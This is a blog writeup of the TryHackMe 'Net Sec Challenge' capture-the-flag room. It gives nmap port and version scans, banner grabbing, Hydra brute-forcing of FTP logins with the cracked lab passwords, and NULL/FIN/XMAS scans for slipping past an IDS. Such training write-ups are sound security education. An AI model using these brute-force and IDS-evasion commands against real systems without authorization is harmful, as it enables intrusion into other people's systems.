> ## Content Index > Fetch the complete content index at: https://taiwanding.com/llms.txt > Use this file to discover other available public pages before exploring further. # TryHackMe Net Sec Challenge Writeup - URL: https://taiwanding.com/en/tryhackme-net-sec-challenge-writeup/ - Published: 2025-10-08T07:03:23.000Z - Updated: 2026-07-15T02:49:55.000Z - Author: Kevin Chen - Tags: #en, #en-ctf ## Room Information - **Platform**: TryHackMe - **Room Name**: Net Sec Challenge - **Difficulty**: Medium - Room link: [https://tryhackme.com/room/netsecchallenge](https://tryhackme.com/room/netsecchallenge?ref=taiwanding.com) - Overview: This challenge is designed to test the skills you picked up in the Network Security module. Every question can be solved using nmap, telnet and hydra. ## Task 1: Introduction ### Q1: Launch the AttackBox and the target VM **Answer**: No answer needed ## Task 2: Challenge Questions ### Q1: What is the highest port number being open less than 10,000? **Command**: ```bash nmap -Pn --top-ports 10000 10.201.107.10 ``` **Explanation**: - `-Pn`: Skip the ping check and assume the host is up - `--top-ports 10000`: Scan the 10,000 most common ports **Answer**: `8080` ### Q2: There is an open port outside the common 1000 ports; it is above 10,000\. What is it? **Command**: ```bash nmap -p 10000-65535 10.201.107.10 -T4 --open ``` **Explanation**: - `-p 10000-65535`: Scan the port range from 10000 to 65535 - `-T4`: Use a faster timing template (Aggressive) - `--open`: Only show ports that are open **Answer**: `10021` ### Q3: How many TCP ports are open? From the earlier scan results we can see the open ports are: - 22 (SSH) - 80 (HTTP) - 139 (NetBIOS) - 445 (SMB) - 8080 (HTTP Proxy) - 10021 (FTP) **Answer**: `6` ### Q4: What is the flag hidden in the HTTP server header? **Command**: ```bash curl -I 10.201.107.10 ``` Or use nmap: ```bash nmap -p 80 --script http-server-header 10.201.107.10 ``` **Explanation**: - `curl -I`: Fetch only the HTTP response headers - The hidden flag is included in the HTTP header **Answer**: (the flag in the HTTP server header) ### Q5: What is the flag hidden in the SSH server header? **Command**: ```bash telnet 10.201.107.10 22 ``` Or use nmap: ```bash nmap -p 22 -sV 10.201.107.10 ``` **Explanation**: - Once you connect to the SSH port, the server sends back its banner information - The flag is hidden in the SSH banner **Answer**: (the flag in the SSH banner) ### Q6: We have an FTP server listening on a nonstandard port. What is the version of the FTP server? **Command**: ```bash nmap -sV -sC 10.201.107.10 -p 10021 ``` **Explanation**: - `-sV`: Version detection - `-sC`: Run the default script scan - `-p 10021`: Specify the nonstandard FTP port **Sample output**: ``` 10021/tcp open ftp vsftpd 3.0.5 ``` **Answer**: `vsftpd 3.0.5` ### Q7: We learned two usernames using social engineering: `eddie` and `quinn`. What is the flag hidden in one of these two account files and accessible via FTP? Step 1: Brute-force the passwords with Hydra **Crack eddie's password**: ```bash hydra -l eddie -P /usr/share/wordlists/rockyou.txt ftp://10.201.107.10 -s 10021 ``` **Result**: ``` [10021][ftp] host: 10.201.107.10 login: eddie password: jordan ``` **Crack quinn's password**: ```bash hydra -l quinn -P /usr/share/wordlists/rockyou.txt ftp://10.201.107.10 -s 10021 ``` **Result**: ``` [10021][ftp] host: 10.201.107.10 login: quinn password: andrea ``` #### Step 2: Log in to FTP and hunt for the flag **Log in to the eddie account**: ```bash ftp 10.201.107.10 10021 Name: eddie Password: jordan ftp> ls # (empty directory) ftp> exit ``` **Log in to the quinn account**: ```bash ftp 10.201.107.10 10021 Name: quinn Password: andrea ftp> ls -rw-rw-r-- 1 1002 1002 18 Sep 20 2021 ftp_flag.txt ftp> get ftp_flag.txt ftp> exit ``` **View the flag**: ```bash cat ftp_flag.txt ``` **Answer**: (the contents of ftp\_flag.txt) ### Q8: Browsing to `http://10.201.107.10:8080` displays a small challenge that will give you a flag once you solve it. What is the flag? This question asks you to scan the target machine as stealthily as possible, avoiding detection by the IDS (Intrusion Detection System). #### Key steps: 1. **Click the "Reset Packet Count" button on the web page** (resets the detection counter) 2. **Use a stealth scanning technique** #### Best solution - NULL SCAN: **Command**: ```bash sudo nmap -sN 10.201.107.10 ``` **Why does a NULL SCAN work?** - A NULL scan sets none of the TCP flags (no SYN, ACK, RST, FIN, etc.) - It sends an "empty" packet that doesn't look like a normal connection attempt - Many IDS/firewalls are configured not to block this kind of traffic - As a result it's easier to slip past detection #### Other possible stealth scanning methods: **FIN Scan**: ```bash sudo nmap -sF 10.201.107.10 -T1 --mtu 8 ``` **XMAS Scan**: ```bash sudo nmap -sX 10.201.107.10 ``` #### Verify the result: You don't need to wait for the scan to finish. As long as you use a stealthy command, refresh the web page at `http://10.201.107.10:8080`, and if it shows **0% Chance of scan being detected**, the flag will appear! ## Key Takeaways - Port scanning techniques (full port scans, range scans) - pick the right scan parameters based on what the task needs - Service version identification - services on nonstandard ports deserve extra attention - HTTP/SSH banner grabbing - extract hidden information from service headers - Password brute-forcing - use Hydra together with a wordlist attack - **IDS evasion techniques** (NULL/FIN/XMAS scans) - stealth scanning is important in penetration testing, and a NULL scan is an effective way to bypass simple IDS ## Lessons Learned ### On Q8: For this one I initially tried plenty of scanning methods, but they all got detected - packet fragmentation (-f), for example. I'm not sure exactly how the backend decides here, but in practice, from my own experience, a NULL scan really is a rare sight.